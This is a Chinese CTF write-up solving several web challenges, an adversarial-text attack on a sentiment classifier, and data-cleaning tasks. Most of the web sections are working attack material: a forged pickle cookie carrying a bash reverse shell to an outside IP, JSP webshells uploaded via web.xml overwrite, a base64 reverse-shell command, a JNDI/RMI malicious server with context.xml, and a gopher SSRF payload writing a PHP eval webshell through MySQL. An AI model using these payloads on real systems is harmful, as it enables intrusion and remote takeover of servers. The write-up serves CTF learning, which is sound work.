文章首发于【先知社区】：https://xz.aliyun.com/t/15442
Lyrics For You
题目描述：I have wrote some lyrics for you…
开题。
看一下前端源码，猜测有路径穿越漏洞
http://139.155.126.78:35502/lyrics?lyrics=../../../../../etc/passwd
简单看一下环境变量，没有flag。
扫出敏感路由
/login
无密码登录
读取题目源码
http://139.155.126.78:35502/lyrics?lyrics=../app.py
import os
import random
import pickle
from flask import Flask, make_response, request, render_template
from config.secret_key import secret_code
from cookie import set_cookie, cookie_check, get_cookie
app = Flask(__name__)
app.secret_key = random.randbytes(16)classUserData:def__init__(self, username):
self.username = username
defWaf(data):
blacklist =[b'R',b'secret',b'eval',b'file',b'compile',b'open',b'os.popen']
valid =Falsefor word in blacklist:if word.lower()in data.lower():
valid =Truebreakreturn valid
@app.route("/", methods=['GET'])defindex():return render_template('index.html')@app.route("/lyrics", methods=['GET'])deflyrics():
resp = make_response()
resp.headers["Content-Type"]='text/plain; charset=UTF-8'
query = request.args.get("lyrics")
path = os.path.join(os.getcwd()+"/lyrics", query)try:withopen(path)as f:
res = f.read()except Exception:return"No lyrics found"return res
@app.route("/login", methods=['POST','GET'])deflogin():if request.method =='POST':
username = request.form["username"]
user = UserData(username)
res ={"username": user.username}return set_cookie("user", res, secret=secret_code)return render_template('login.html')@app.route("/board", methods=['GET'])defboard():
invalid = cookie_check("user", secret=secret_code)if invalid:return"Nope, invalid code get out!"
data = get_cookie("user", secret=secret_code)ifisinstance(data,bytes):
a = pickle.loads(data)# This seems unused, might need removal if unnecessary
data =str(data, encoding="utf-8")if"username"notin data:return render_template('user.html', name="guest")if data["username"]=="admin":return render_template('admin.html', name=data["username"])return render_template('user.html', name=data["username"])if __name__ =="__main__":
os.chdir(os.path.dirname(__file__))
app.run(host="0.0.0.0", port=8080)
看导包
from config.secret_key import secret_code
，查密钥
http://139.155.126.78:35502/lyrics?lyrics=../config/secret_key.py
读一下自定义库
from cookie import set_cookie, cookie_check, get_cookie
http://139.155.126.78:35502/lyrics?lyrics=../cookie.py
import base64
import hashlib
import hmac
import pickle
from flask import make_response, request
# Compatibility for Python 3unicode=strbasestring=str# Encoding the cookie data with HMAC and base64defcookie_encode(data, key):
msg = base64.b64encode(pickle.dumps(data,-1))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())return tob('!')+ sig + tob('?')+ msg
# Decoding the cookie datadefcookie_decode(data, key):
data = tob(data)if cookie_is_encoded(data):
sig, msg = data.split(tob('?'),1)if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):return pickle.loads(base64.b64decode(msg))returnNone# Basic Web Application Firewall (WAF) function to check for blacklisted keywordsdefwaf(data):
blacklist =[b'R',b'secret',b'eval',b'file',b'compile',b'open',b'os.popen']
valid =Falsefor word in blacklist:if word in data:
valid =Truebreakreturn valid
# Check if the cookie is validdefcookie_check(key, secret=None):
data = tob(request.cookies.get(key))if data:if cookie_is_encoded(data):
sig, msg = data.split(tob('?'),1)if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
res = base64.b64decode(msg)if waf(res):returnTrueelse:returnFalsereturnFalse# Convert string to bytesdeftob(s, enc='utf8'):return s.encode(enc)ifisinstance(s,unicode)elsebytes(s)# Get cookie value and decode if secret is provideddefget_cookie(key, default=None, secret=None):
value = request.cookies.get(key)if secret and value:
dec = cookie_decode(value, secret)return dec[1]if dec and dec[0]== key else default
return value or default
# Check if the cookie data is encodeddefcookie_is_encoded(data):returnbool(data.startswith(tob('!'))and tob('?')in data)# Secure string comparisondef_lscmp(a, b):returnnotsum(0if x == y else1for x, y inzip(a, b))andlen(a)==len(b)# Set a cookie with optional HMAC encodingdefset_cookie(name, value, secret=None,**options):if secret:
value = touni(cookie_encode((name, value), secret))
resp = make_response("success")
resp.set_cookie(name, value, max_age=3600)return resp
elifnotisinstance(value,basestring):raise TypeError('Secret key missing for non-string Cookie.')iflen(value)>4096:raise ValueError('Cookie value too long.')# Convert bytes to unicode stringdeftouni(s, enc='utf8', err='strict'):return s.decode(enc, err)ifisinstance(s,bytes)elseunicode(s)
至此信息搜集完毕
看了一下Cookie形式，后半段明显的Pickle字符串base64编码。前半段应该是防篡改加密（cookie.py里面有哦）
!eUWH7lbx1UGOdsj1Psg80Q==?gAWVIAAAAAAAAACMBHVzZXKUfZSMCHVzZXJuYW1llIwFYWRtaW6Uc4aULg==
解码后：
分析一下源码
app.py有一处pickle载入，但是载入的data是整段cookie的值，cookie前面部分是防篡改校验头，不是pickle，所以这里的载入无法利用。
cookie.py处有一处pickle载入，载入的数据是cookie中为pickle字符串base64编码的部分，我们可以利用。
OK，那思路很清晰了，就是pickle反序列化，绕一些过家家的黑名单。
回顾一下cookie：
!
eUWH7lbx1UGOdsj1Psg80Q==(校验头)?gAWVIAAAAAAAAACMBHVzZXKUfZSMCHVzZXJuYW1llIwFYWRtaW6Uc4aULg==(pickle)
pickle我们可控，网上paylaod也多的是。CTF题型 Python中pickle反序列化进阶利用&opcode绕过_ctf opcode-CSDN博客
主要是前面的校验头如果不对的话一开始就被ban了。
虽然校验头比较棘手，但是源码和密钥都给我们了。拼拼凑凑CV一下自己也能加上校验头。
import base64
import hashlib
import hmac
import pickle
unicode=strbasestring=strdeftob(s, enc='utf8'):return s.encode(enc)ifisinstance(s,unicode)elsebytes(s)defcookie_encode(data, key):
msg=data
#msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())return tob('!')+ sig + tob('?')+ msg
key="EnjoyThePlayTime123456"
poc=b'KFMnYmFzaCAtYyAnc2ggLWkgPiYgL2Rldi90Y3AvMTI0LjcxLjE0Ny45OS8xNzE3IDA+JjEnJwppb3MKc3lzdGVtCi4='print(cookie_encode(poc,key))
KFMnYmFzaCAtYyAnc2ggLWkgPiYgL2Rldi90Y3AvMTI0LjcxLjE0Ny45OS8xNzE3IDA+JjEnJwppb3MKc3lzdGVtCi4=
payload：
!ZREEr8lfH7q5Ww/vgLMibA==?KFMnYmFzaCAtYyAnc2ggLWkgPiYgL2Rldi90Y3AvMTI0LjcxLjE0Ny45OS8xNzE3IDA+JjEnJwppb3MKc3lzdGVtCi4=
反弹shell拿flag
tomtom2
题目描述：Where is my tomcat password? /myapp
开题：
三个路由
第一个前往登录，应该登录后还有别的功能。
第二个read，应该是用来信息搜集的，仅仅无法读取
/opt/tomcat/webapps/myapp/WEB-INF/web.xml
第三个env，可以看到当前目录是
/opt/tomcat
首先想想怎么登录。
Tomcat有一个管理后台，其用户名和密码在Tomcat安装目录下的conf\tomcat-users.xml文件中配置
Tomcat 弱密码爆破 漏洞复现-CSDN博客
/myapp/read?filename=conf/tomcat-users.xml
得到账号密码
admin
/
This_is_my_favorite_passwd
登录后是一个文件上传界面，只能上传xml文件（新功能，极有可能漏洞点就在这里）
通过修改上传路径，正常上传+造成报错，得知web.xml的绝对路径是
/opt/tomcat/webapps/myapp/WEB-INF/web.xml
同时上传除了文件后缀没有任何限制。我们可以上传名为
web.xml
的文件
/WEB-INF/web.xml
是 Java Web 应用程序的配置文件，用于定义 Servlet、过滤器、监听器、欢迎页面、错误页面、安全约束等内容，控制应用程序的行为和请求处理逻辑。
既然可以上传，尝试覆盖
/WEB-INF/web.xml
，将上传的xml文件解析成jsp文件（木马的味道）从而getshell
上传
/opt/tomcat/webapps/myapp/WEB-INF/web.xml
实现将
/WEB-INF/tmp/myshell.xml
文件作为 JSP 文件解析并映射到
/myshell
路由。
<?xml version="1.0" encoding="UTF-8"?><web-appxmlns="http://xmlns.jcp.org/xml/ns/javaee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"version="4.0"><servlet><servlet-name>myshell</servlet-name><jsp-file>/WEB-INF/tmp/myshell.xml</jsp-file><load-on-startup>1</load-on-startup></servlet><servlet-mapping><servlet-name>myshell</servlet-name><url-pattern>/myshell</url-pattern></servlet-mapping></web-app>
POST /myapp/upload?path=WEB-INF HTTP/1.1
Host: 139.155.126.78:38544
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://139.155.126.78:38544
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybEazGwnGon1U2Agi
Referer: http://139.155.126.78:37826/myapp/upload.html
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=484409F1575CF6AFDBFEC269896A49C5; JSESSIONID=AFA237BF563777002E40E836F22FCB31
Accept-Encoding: gzip, deflate
Content-Length: 223
------WebKitFormBoundarybEazGwnGon1U2Agi
Content-Disposition: form-data; name="file"; filename="web.xml"
Content-Type: application/octet-stream
【web.xml文件内容】
------WebKitFormBoundarybEazGwnGon1U2Agi--
上传
/opt/tomcat/webapps/myapp/WEB-INF/tmp/myshell.xml
网上随便找个jsp一句话木马：java安全——jsp一句话木马_cmd写jsp一句话-CSDN博客
<%
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
%>
POST /myapp/upload?path=WEB-INF/tmp/ HTTP/1.1
Host: 139.155.126.78:38544
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://139.155.126.78:38544
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybEazGwnGon1U2Agi
Referer: http://139.155.126.78:37826/myapp/upload.html
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=484409F1575CF6AFDBFEC269896A49C5; JSESSIONID=AFA237BF563777002E40E836F22FCB31
Accept-Encoding: gzip, deflate
Content-Length: 223
------WebKitFormBoundarybEazGwnGon1U2Agi
Content-Disposition: form-data; name="file"; filename="myshell.xml"
Content-Type: application/octet-stream
【myshell.xml文件内容】
------WebKitFormBoundarybEazGwnGon1U2Agi--
访问
/myapp/myshell?cmd=whoami
，无回显但是路由以及开起来了。
curl通。尝试反弹shell
/myapp/myshell?cmd=bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjQuNzEuMTQ3Ljk5LzE3MTcgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D
vps接收到监听，flag在根目录
哥斯拉生成jsp木马上述步骤如法炮制，上线！
为啥要这样做，因为看的清楚一点，我的做法是应该是非预期，为了下一题解预期做准备（黑盒变白盒）
tomtom2_revenge
题目描述：如果非预期才是它的归宿，那就请你再非它一次吧
在tomtom2的环境下看看有多少xml文件，万一又能非预期呢（
/opt/tomcat/webapps/myapp/WEB-INF/web.xml
/opt/tomcat/conf/context.xml
/opt/tomcat/conf/server.xml
/opt/tomcat/conf/web.xml
/opt/tomcat/conf/tomcat-users.xml
/opt/tomcat/conf/jaspic-providers.xml
/opt/tomcat/conf/Catalina/localhost/可以自己加xml文件
/opt/tomcat/webapps/myapp/WEB-INF/web.xml:
- 这是特定Web应用程序的配置文件。该文件定义了与Web应用相关的配置，如Servlet、过滤器、监听器、初始化参数、会话配置等。每个Web应用都有自己的
web.xml，位于WEB-INF目录下，用于配置该应用的特有设置。
/opt/tomcat/conf/context.xml:
- 这是Tomcat全局的上下文配置文件，影响所有部署的Web应用。该文件定义了应用的默认设置，可以包括资源定义（如数据库连接池）、会话管理、JNDI资源、以及其他影响Web应用程序的全局配置项。应用特定的上下文配置可以覆盖这里的设置。
/opt/tomcat/conf/server.xml:
- 这是Tomcat服务器的核心配置文件，定义了整个服务器的结构和行为。包括服务器端口配置、连接器（如HTTP和AJP连接器）、虚拟主机（Host）、引擎（Engine）、服务（Service）等配置。更改此文件会影响整个Tomcat服务器的运行方式。
/opt/tomcat/conf/web.xml:
- 这是Tomcat的全局
web.xml文件，定义了所有Web应用的默认配置。这个文件中的配置可以作为所有Web应用web.xml文件的基础设置。如果某个Web应用的web.xml文件未定义某项配置，则会使用这个全局web.xml文件中的默认配置。
/opt/tomcat/conf/tomcat-users.xml:
- 这个文件用来定义Tomcat的用户和角色。特别是在启用了Tomcat自带的管理应用程序（如
/manager或/host-manager）时，该文件会定义哪些用户可以访问这些应用程序以及他们的权限。通常包含用户名、密码和分配给用户的角色。
/opt/tomcat/conf/jaspic-providers.xml:
- 该文件用于配置Java身份验证SPI（JASPIC）的安全提供程序。它定义了在Tomcat中使用的JASPIC模块，这些模块用于处理Java EE应用程序的身份验证和授权功能。如果使用了JASPIC安全模块，它会在这个文件中进行配置。
嗯？嗯！
算了非预期不出来
和上一题一样的账号密码先登录。
上传界面还是限制xml后缀，同时无法上传
web.xml
一番搜索下来，发现Y4师傅的大作：https://y4tacker.github.io/2022/02/03/year/2022/2/jsp%E6%96%B0webshell%E7%9A%84%E6%8E%A2%E7%B4%A2%E4%B9%8B%E6%97%85/#%E5%8F%91%E7%8E%B0
巧的是刚刚就在研究如何用
conf/context.xml
非预期，现在看来貌似预期也是利用
conf/context.xml
xml打JNDI吼吼
https://tttang.com/archive/1405/#toc_0x04-deserialize
起一个python的文件服务
python3 -m http.server 8000
文件服务的
/webapps/ROOT/
目录下存放
shell.jsp
<%
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
out.print("Hello, World!");
%>
RMIserver.java打包成jar包并且运行
importjava.rmi.registry.LocateRegistry;importjavax.naming.Context;importjavax.naming.InitialContext;importjavax.naming.StringRefAddr;importcom.sun.jndi.rmi.registry.ReferenceWrapper;importorg.apache.naming.ResourceRef;publicclassRMIserver{publicstaticvoidmain(String[] args)throwsException{System.setProperty("java.rmi.server.hostname","124.71.147.99");LocateRegistry.createRegistry(1777);Context initialContext =newInitialContext();ResourceRef ref =tomcatWriteFile();ReferenceWrapper referenceWrapper =newReferenceWrapper(ref);
initialContext.rebind("rmi://127.0.0.1:1777/remoteobj", referenceWrapper);System.out.println("Jndi...");}privatestaticResourceReftomcatWriteFile(){ResourceRef ref =newResourceRef("org.apache.catalina.UserDatabase",null,"","",true,"org.apache.catalina.users.MemoryUserDatabaseFactory",null);
ref.add(newStringRefAddr("pathname","http://124.71.147.99:8000/../../webapps/ROOT/test.jsp"));
ref.add(newStringRefAddr("readonly","false"));return ref;}}
先创建目录
POST /myapp/upload?path=../../http:/124.71.147.99:8000 HTTP/1.1
...
...
...
...
...
...
------WebKitFormBoundarySrfAOe2RpkWZ4frH
Content-Disposition: form-data; name="file"; filename="context.xml"
Content-Type: text/xml
<?xml version='1.0' encoding='utf-8'?>
<Context>
<Manager className="com.sun.rowset.JdbcRowSetImpl" dataSourceName="rmi://124.71.147.99:1777/remoteobj" autoCommit="true"></Manager>
</Context>
------WebKitFormBoundarySrfAOe2RpkWZ4frH--
上传
context.xml
文件触发jndi
POST /myapp/upload?path=../../conf/Catalina/localhost HTTP/1.1
...
...
...
...
...
...
------WebKitFormBoundarySrfAOe2RpkWZ4frH
Content-Disposition: form-data; name="file"; filename="context.xml"
Content-Type: text/xml
<?xml version='1.0' encoding='utf-8'?>
<Context>
<Manager className="com.sun.rowset.JdbcRowSetImpl" dataSourceName="rmi://124.71.147.99:1777/remoteobj" autoCommit="true"></Manager>
</Context>
------WebKitFormBoundarySrfAOe2RpkWZ4frH--
ez_java*
题目描述：ez_java
网络照相馆*
题目描述：留下你的互联网回忆吧
import requests
url = "http://139.155.126.78:37271/url.php"
ports = [21,22,80,443,3389,1433,3306,6379,9000]
#21 ftp
#22 ssh
#80 http
#443 https
#3389 rdp windows远程桌面
#1433 ms-sqlserver 默认端口
#3306 mysql 默认端口
#6379 redis 默认端口
#9000 php-fpm(FastCGI) 默认端口
for p in ports:
#for p in range(0,10000):
try:
# data={"action":"view","url":f"gopher://127.0.0.1:{p}/"}
# response = requests.post(url=url,data=data,timeout=2)
# response = requests.get(url=url+'?action=view&url=gopher://127.0.0.1:'+f"{p}/",timeout=2)
# 模拟 multipart/form-data 数据包中的内容
files = {
'url': (None, f'gopher://127.0.0.1:{p}/')
}
response = requests.post(url, files=files, timeout=2)
except:
print(f"端口{p}开放")
python2 gopherus.py --exploit mysql
root
select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%01%00%00%00%01
NLP_Model_Attack
题目描述：详情阅读readme.md
题目描述:
- 在这个赛题中，我们将提供一个预训练好的
positive、negative、neutral文本识别模型以及一组包含这三类的文本数据集。 - 参赛选手的任务是： 对这些文本增加
微小的扰动，生成攻击文本，使得模型在预测这些经过扰动的攻击文本时出现预测错误。
具体要求如下:
- 选手需要设计一种算法，在不明显改变文本语义的前提下，对文本添加微小扰动（同义词替换或者其他方式），使得提供的三分类
positive、negative、neutral文本识别模型在预测扰动文本时出现错误。例如，将原本能够正确识别为positive的文本进行扰动后，模型会将其错误地分类为非positive的类别。 - 为了量化扰动的程度，我们将使用修改后的攻击文本与原始文本的相似度作为评判标准。我们会计算每个扰动文本与其对应原始文本的
语义相似性。如果修改后的扰动文本与原文本的相似度低于75%，则认为扰动过大，该攻击样本将不被视为有效的对抗性样本。 - 对于满足相似度条件的图像，我们将使用提供的识别模型进行预测。如果可以成功欺骗模型，使其输出错误的模型预测结果，则视为一次成功的攻击，选手将获得 1 分。选手需要在成功攻击至少
90%的样本，即产生至少90%满足相似度条件且能够成功欺骗模型的对抗性样本，才能获得题目的flag。
项目细节：
- 相似性的计算：- 相似性的计算流程：- 原始文本和修改后的文本被输入到 tokenizer 中，进行编码。编码的结果是将文本转换为模型可接受的输入形式（即张量），并且对这些输入进行填充和截断以确保统一的长度。- 代码分别对原始文本和修改后的文本通过模型进行前向传播（forward pass），获取它们的隐藏状态。隐藏状态是由模型内部特定层（在这里是最后一层）生成的向量表示，用于表示输入文本的语义信息。隐藏状态的向量经过平均池化（mean pooling），压缩成一个定长的向量。- 使用余弦相似度衡量这两个隐藏状态向量之间的相似性，如果满足相似性要求，则视为通过相似度校验。- 参考代码：
defverify_similarity(original, modified, model, tokenizer):# 确保模型处于评估模式 model.eval()# 对原始文本和修改后的文本进行编码 original_encoding = tokenizer(original, return_tensors='pt', padding=True, truncation=True, max_length=512) modified_encoding = tokenizer(modified, return_tensors='pt', padding=True, truncation=True, max_length=512)with torch.no_grad():# 获取原始文本的隐藏状态 original_outputs = model.distilbert(**original_encoding) original_hidden_state = original_outputs.last_hidden_state.mean(dim=1)# 获取修改后文本的隐藏状态 modified_outputs = model.distilbert(**modified_encoding) modified_hidden_state = modified_outputs.last_hidden_state.mean(dim=1)# 计算余弦相似度 similarity = cosine_similarity(original_hidden_state.cpu().numpy(), modified_hidden_state.cpu().numpy())[0][0]return similarity - 数据和模型：- 发放的数据中包含文本文件
original_text.csv和预训练模型 Sentiment_classification_model。- 模型的label映射:{'positive':2,'negative':0,'neutral':1}- 可以使用transformers模块中的AutoTokenizer、AutoModelForSequenceClassification分别加载tokenizer和model。 - 提交要求：- 选手需要把增加扰动后得到的新文本(攻击文本)，按照规定的格式进行上传提交（csv文件），格式如下，保留原id列：idattacked_text0#powerblog What is this powerblog challenge you keep talking about? I
m a newbie follower1Good mornin. Today will end early, woo. Gonna work on ricks surprise PROJECT DUE ON TUESDAY
评分标准：
- 相似度：- 生成的对抗文本和原始文本之间的相似度需要在 75% 以内。
- 攻击成功率：- 攻击成功率达到 90%（即生成的对抗样本中有 90% 能够欺骗模型并满足相似度要求）。
- 成功满足上述条件即可获取比赛的 flag。
开始做题
- 尝试直接使用同义词替换完成任务->结果相似度过低
- 尝试直接调换语句，直接调用GPT-API完成语法修改->结果过于难看
- 尝试使用OpenAttack库中定义的Victim-Attacker结构解题（受害者模型未使用提供的模型文件）,选择PWWS作为攻击模型-> 分数为44%
- 尝试使用OpenAttack库中定义的Victim-Attacker结构解题（受害者模型使用提供的模型文件）,选择PWWS作为攻击模型-> 分数为87%
由于前两个代码比较简单，不展示代码，展示3、4代码：
eval函数改写
由于openAttack中eval函数不返回生成样本，对eval函数进行简单改写：
- 扰动成功则返回对抗样本
- 扰动失败则返回原先样本
defeval(self, dataset: Iterable[Dict[str, Any]], total_len : Optional[int]=None, visualize :bool=False, progress_bar :bool=False, num_workers :int=0, chunk_size : Optional[int]=None):"""
Evaluation function of `AttackEval`.
Args:
dataset: An iterable dataset.
total_len: Total length of dataset (will be used if dataset doesn't has a `__len__` attribute).
visualize: Display a pretty result for each data in the dataset.
progress_bar: Display a progress bar if `True`.
num_worers: The number of processes running the attack algorithm. Default: 0 (running on the main process).
chunk_size: Processing pool trunks size.
Returns:
A dict of attack evaluation summaries and a list of adversarial samples.
"""ifhasattr(dataset,"__len__"):
total_len =len(dataset)deftqdm_writer(x):return tqdm.write(x, end="")if progress_bar:
result_iterator = tqdm(self.ieval(dataset, num_workers, chunk_size), total=total_len)else:
result_iterator = self.ieval(dataset, num_workers, chunk_size)
total_result ={}
total_result_cnt ={}
total_inst =0
success_inst =0
adversarial_samples =[]# 用于存储对抗样本的列表# Begin forfor i, res inenumerate(result_iterator):
total_inst +=1
success_inst +=int(res["success"])if visualize and(TAG_Classification in self.victim.TAGS):
x_orig = res["data"]["x"]if res["success"]:
x_adv = res["result"]
adversarial_samples.append((x_orig, x_adv))# 记录成功的对抗样本if Tag("get_prob","victim")in self.victim.TAGS:
self.victim.set_context(res["data"],None)try:
probs = self.victim.get_prob([x_orig, x_adv])finally:
self.victim.clear_context()
y_orig = probs[0]
y_adv = probs[1]elif Tag("get_pred","victim")in self.victim.TAGS:
self.victim.set_context(res["data"],None)try:
preds = self.victim.get_pred([x_orig, x_adv])finally:
self.victim.clear_context()
y_orig =int(preds[0])
y_adv =int(preds[1])else:raise RuntimeError("Invalid victim model")else:
y_adv =None
x_adv =None
adversarial_samples.append((x_orig, x_orig))# 记录成功的对抗样本if Tag("get_prob","victim")in self.victim.TAGS:
self.victim.set_context(res["data"],None)try:
probs = self.victim.get_prob([x_orig])finally:
self.victim.clear_context()
y_orig = probs[0]elif Tag("get_pred","victim")in self.victim.TAGS:
self.victim.set_context(res["data"],None)try:
preds = self.victim.get_pred([x_orig])finally:
self.victim.clear_context()
y_orig =int(preds[0])else:raise RuntimeError("Invalid victim model")
info = res["metrics"]
info["Succeed"]= res["success"]if progress_bar:
visualizer(i +1, x_orig, y_orig, x_adv, y_adv, info, tqdm_writer, self.tokenizer)else:
visualizer(i +1, x_orig, y_orig, x_adv, y_adv, info, sys.stdout.write, self.tokenizer)for kw, val in res["metrics"].items():if val isNone:continueif kw notin total_result_cnt:
total_result_cnt[kw]=0
total_result[kw]=0
total_result_cnt[kw]+=1
total_result[kw]+=float(val)# End for
summary ={}
summary["Total Attacked Instances"]= total_inst
summary["Successful Instances"]= success_inst
summary["Attack Success Rate"]= success_inst / total_inst
for kw in total_result_cnt.keys():if kw in["Succeed"]:continueif kw in["Query Exceeded"]:
summary["Total "+ kw]= total_result[kw]else:
summary["Avg. "+ kw]= total_result[kw]/ total_result_cnt[kw]if visualize:
result_visualizer(summary, sys.stdout.write)# 返回攻击总结和对抗样本列表return summary, adversarial_samples
代码展示
3
import pandas as pd
import OpenAttack as oa
import ssl
from datasets import Dataset
ssl._create_default_https_context = ssl._create_unverified_context # 证书问题，可能是库版本问题导致的
csv_data = pd.read_csv("....")
custom_dataset = Dataset.from_pandas(csv_data)defcustom_dataset_mapping(x):return{"x": x["text"],"y": x["original_label"]}
mapped_dataset = custom_dataset.map(function=custom_dataset_mapping)
victim = oa.DataManager.loadVictim("BERT.SST")
attacker = oa.attackers.PWWSAttacker()
attack_eval = oa.AttackEval(attacker, victim)
summary, adversarial_samples = attack_eval.eval(mapped_dataset, visualize=True)
original_texts =[x[0]for x in adversarial_samples]
adv_texts =[x[1]for x in adversarial_samples]
new_dataset = pd.DataFrame({"original_text": original_texts,"perturbed_text": adv_texts
})
new_dataset.to_csv(".../perturbed_data.csv", index=False)
4
import torch
from transformers import AutoModelForSequenceClassification, AutoTokenizer
import OpenAttack as oa
import numpy as np
from datasets import Dataset
import pandas as pd
classMyTransformerClassifier(oa.Classifier):def__init__(self, model_path):# Load the pre-trained model and tokenizer
self.tokenizer = AutoTokenizer.from_pretrained(model_path)
self.model = AutoModelForSequenceClassification.from_pretrained(model_path)defget_pred(self, input_):
inputs = self.tokenizer(input_, return_tensors="pt", padding=True, truncation=True)with torch.no_grad():
logits = self.model(**inputs).logits
return logits.argmax(dim=-1).cpu().numpy()defget_prob(self, input_):
inputs = self.tokenizer(input_, return_tensors="pt", padding=True, truncation=True)with torch.no_grad():
logits = self.model(**inputs).logits
probs = torch.softmax(logits, dim=-1)return probs.cpu().numpy()
model_path ="..."
victim = MyTransformerClassifier(model_path)# 选择PWWS作为攻击模型，并使用默认参数初始化
attacker = oa.attackers.PWWSAttacker()
csv_data = pd.read_csv("...")
custom_dataset = Dataset.from_pandas(csv_data)defcustom_dataset_mapping(x):return{"x": x["text"],"y": x["original_label"]}
mapped_dataset = custom_dataset.map(function=custom_dataset_mapping)
attack_eval = oa.AttackEval(attacker, victim)
summary, adversarial_samples = attack_eval.eval(mapped_dataset, visualize=True)
original_texts =[x[0]for x in adversarial_samples]
adv_texts =[x[1]for x in adversarial_samples]
new_dataset = pd.DataFrame({"original_text": original_texts,"perturbed_text": adv_texts
})
new_dataset.to_csv("...", index=False)
结果文件
Targeted_Image_adv_attacks*
题目描述：详情请阅读readme.md
data-analy1
题目描述：小王在处理个人信息时，不小心把数据给逐行打乱了，请你帮助他进行数据的整理恢复。具体示例可参考附件中“示例”文件夹所示。最终将整理恢复后的数据文件（文件格式 csv，文件编码 utf-8）上传至检验平台，检验达标即可拿到flag。
import csv
# 数据分类函数defclassify_data(data, k):"""
根据给定的数据和关键字，将数据分类并返回相应的类别编号。
参数:
data (str): 需要分类的数据。
k (tuple): 特定的关键字元组。
返回:
int: 分类编号。
"""# 如果数据不是字符串，则返回None或抛出异常ifnotisinstance(data,str):returnNone# 检查数据是否为1到10000之间的纯数字if data.isdigit()and1<=int(data)<=10000:return0# 检查数据是否为'男'或'女'if data in['男','女']:return4# 检查数据是否为汉字ifany(0x4e00<=ord(char)<=0x9fffor0x3400<=ord(char)<=0x4dbfor0x20000<=ord(char)<=0x2a6dffor char in data):return3# 检查数据长度是否为32iflen(data)==32:return2# 检查数据是否为8位数字if data.isdigit()andlen(data)==8:return5# 检查数据是否包含关键字if data[6:14]in k:return6# 检查数据是否以特定前缀开头
prefixes =(# 虚假号码前缀列表)if data.startswith(prefixes):return7# 默认分类return1# 假设CSV文件的路径是'data.csv'
csv_file_path ='person_data.csv'
new =[]
rows =[]# 打开CSV文件withopen(csv_file_path, mode='r', encoding='utf-8')asfile:# 创建一个csv.reader对象来读取文件
csv_reader = csv.reader(file)# 遍历CSV文件的每一行for row in csv_reader:# 跳过标题行if row ==['编号','用户名','密码','姓名','性别','出生日期','身份证号','手机号码']:
rows.append(row)continue# 初始化新行数据列表
new_row =[0]*8# 假设有8列数据# 对每列数据进行分类并填充新行for i, cell inenumerate(row):# 由于classify_data函数需要关键字k，这里需要修改以适应实际使用情况# 假设k是一个包含所需关键字的元组
category = classify_data(cell,('特定关键字',))# 此处需要根据实际情况修改
new_row[category]= cell
# 将新行添加到结果列表中
rows.append(new_row)# 将处理后的数据写入新的CSV文件withopen("person_data2.csv", mode='w', newline='', encoding='utf-8')asfile:
csv_writer = csv.writer(file)
csv_writer.writerows(rows)
data-analy2
题目描述：某公司在统计内部员工个人信息，不过上网流量数据没有进行任何加密处理，现在流量已经被黑客获取。现在请你分析流量，统计出该公司内部员工的个人信息，由于某些员工没认真填写，导致某些数据是不符合数据规范的，因此需要进行数据清洗。数据规范文档参考附件中“个人信息数据规范文档.pdf”。最终将清洗后的垃圾数据（文件格式为 csv，文件编码为 utf-8）上传至检验平台，检验达标即可拿到 flag。
tshark -r data.pcapng -Y "json" -T json > a.json
cat output.json|grep 'http.file_data'>a.txt
http.file_data是信息的数据。写个脚本 混淆一下即可
python
import pandas as pd
import re
# 验证身份证号码是否有效defverify_identity(id_string):"""
检查身份证号码是否符合标准格式和校验规则。
参数:
id_string (str): 身份证号码字符串。
返回:
bool: 如果身份证号码有效，返回True，否则返回False。
